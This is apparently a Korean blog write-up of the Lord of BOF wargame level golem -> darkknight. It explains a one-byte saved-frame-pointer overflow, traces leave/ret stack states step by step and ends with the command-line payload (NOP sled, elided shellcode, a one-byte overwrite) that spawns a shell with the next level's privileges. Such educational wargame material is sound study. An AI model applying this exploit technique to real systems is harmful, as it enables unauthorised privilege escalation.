-->

[LOB] level12, golem -> darknight 풀이 (SFP 조작)

반응형

LOB, golem -> darknight 문제 확인

이번 문제에서는 bof에 취약하지 않은 함수인 strncpy가 등장한다. 그렇기 때문에 이번 문제에서부터는 스택 포인터를 어떻게 조정해야 하는지가 중요하다.

 

 

 

LOB, golem -> darknight 풀이

이번 문제는 SFP 값을 한바이트 변경시켜 쉘코드가 실행되게끔 해야 하는 문제이다. 버퍼가 40바이트인데 41바이트를 복사하기 때문에 한바이트를 오버플로우시킬 수 있게 된다. problem_child는 아래와 같은 스택을 갖고있는데  problem_child 함수의 leave, ret부터 따라가보면 어떻게 익스를 해야하는지 쉽게 이해할 수 있다. 

 

buffer (40)
SFP (4)
RET (4)

 

 

 

그리고 problem_child 함수의 leave, ret부터 따라가보면 어떻게 익스를 해야하는지 쉽게 이해할 수 있다. leave 부분에 bp를 건 후 실행시키고 한줄한줄 실행시키면서 esp, ebp가 어떻게 변하는지 살펴보자. 

 

 

 

일단, leave 명령어 실행전 스택 상황은 아래와 같다. esp가 버퍼 시작지점을 가리키고 있고 ebp는 당연히 SFP를 가르키고 있다.

 

0xbffffab4  |  0x41414141 (buffer)  <--- esp
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)  <---ebp
0xbffffae0  |  0x080484ae (RET)

 

 

problem_child()의 leave

여기서 leave가 실행되면 어떻게 될까. leave 명령어는 <mov esp, ebp; pop ebp> 를 수행하는 명령어로 먼저 mov esp, ebp로 인해 ebp값(0xbffffa41)이 esp에 저장된다. 즉, esp와 ebp가 가리키는 곳이 같아지게 된다. (여기서 내가 표기하는 '값'과 '저장되어 있는 값'을 헷갈리지 않길 바란다.) 

 

(mov esp, ebp)

 

0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)  <---esp, ebp
0xbffffae0  |  0x080484ae (RET) 

 

 

그 다음, pop ebp로 esp에 저장되어있는 값(0xbffffa41)이 ebp에 저장되고 esp는 +4가 된다. 즉, ebp는 esp에 저장되어있는 값을 가리키게 된다.

 

(pop ebp)

 

0xbffffa41  |  AAAAAAAA  <---ebp
...
0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)
0xbffffae0  |  0x080484ae (RET)  <---esp

 

 

problem_child() 의 ret 실행 후

ret은 pop eip, jmp eip로 이루어져있는 명령어이다. 현재 esp값을 eip에 넣고 점프하면서 pop에 의해 esp가 +4가 된다. 현재 esp는 problem_chlid를 호출할 때 호출 후 코드로 다시 돌아오기 위한 주소값을 스택에 저장시켜놓은 값(RET)이기 때문에 ret에 의해 main문으로 다시 돌아오게 된다.

 

0xbffffa41  |  AAAAAAAA   <---ebp
...
0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)
0xbffffae0  |  0x080484ae (RET)
0xbffffae4  |  0xbffffc40  <---esp
0xbffffae8  |  0xbffffb08

 

 

main()  add $0x4, %esp

esp가 +4이 된다.

 

0xbffffa41  |  AAAAAAAA   <---ebp
...
0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)
0xbffffae0  |  0x080484ae (RET) 
0xbffffae4  |  0xbffffc40
0xbffffae8  |  0xbffffb08  <---esp

 

 

main()의 leave

leave 명령어는 위에서 설명했으므로 다시 설명하지는 않겠다.

 

(mov esp, ebp)

 

0xbffffa41  |  AAAAAAAA <---ebp, esp
...
0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)
0xbffffae0  |  0x080484ae (RET) 
0xbffffae4  |  0xbffffc40
0xbffffae8  |  0xbffffb08

 

 

아래 pop ebp까지 leave 명령어가 실행되고 난 후의 스택 상황을 보면 한바이트 조작된 SFP 값이 가리키고있는 값으로 ebp가 이동된 것과 (esp는 한바이트 조작된 SFP 주소 +4)를 가리키고 있는 것을 볼 수 있다.

 

(pop ebp)

 

0xbffffa41  |  AAAAAAAA 
0xbffffa45  |  BBBBBBBB  <---esp
...
0xbffffab4  |  0x41414141 (buffer)
0xbffffab8  |  0x41414141
...
0xbffffad8  |  0x41414141
0xbffffadc  |  0xbffffa41 (SFP)
0xbffffae0  |  0x080484ae (RET) 
0xbffffae4  |  0xbffffc40
0xbffffae8  |  0xbffffb08
...
AAAAAAAA |  CCCCCCCC   <---ebp

 

 

아래 실제 레지스터값으로도 확인해보면, leave가 실행되고난 후 esp 값은 (한바이트 조작된 SFP값+4) 이다.

 

 

 

main()의 ret

이제 마지막, main문의 ret 명령어만 남았다. ret 명령어는 현재 esp가 가리키고 있는 곳의 값을 eip에 넣은 후 eip로 점프하는 명령어이다.

 

0xbffffa45  |  BBBBBBBB  <---eip

 

 

위에서 살펴본대로 현재 esp는 (한바이트 조작된 SFP값+4) 이다. 따라서 여기에 들어있는 값인 0xb0400143으로 점프했고 세그폴트가 발생한 것을 볼 수 있다.

 

 

 

그럼여기서! 익스플로잇을 하기 위해선 버퍼든 어디든 올릴 수 있는 곳에 쉘코드를 올리고 쉘코드를 올린 곳 -4 주소값이 되도록 SFP 값을 한바이트 조작하면 결국 쉘코드가 저장되어있는 주소로 점프하게 된다는 것을 알 수 있다. 버퍼주소가 출력되게끔 darknight.c 소스를 수정해 컴파일한 /tmp의 파일로 대략 buffer 주소가 어딘지 알아낸다.

 


[golem@localhost /tmp]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x90"'` 
1󿾱ѐh//shh/bin⏓  
              ᱍ(𩻿¿ @  
Segmentation fault

 

 

 

LOB, golem -> darknight 익스플로잇

그리고 4바이트씩 아래로 두번정도 움직여주니 쉘을 획득할 수 있었다.

 


[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x90"'`
1󿾱ѐh//shh/bin⏓ 
              ᱍ(𩻿¿ @ 
Segmentation fault


[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x8c"'`
1󿾱ѐh//shh/bin⏓ 
              ᱍ(𩻿¿ @ 
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

 

 

 

 

 

 

 

 

 

댓글

Designed by JB FACTORY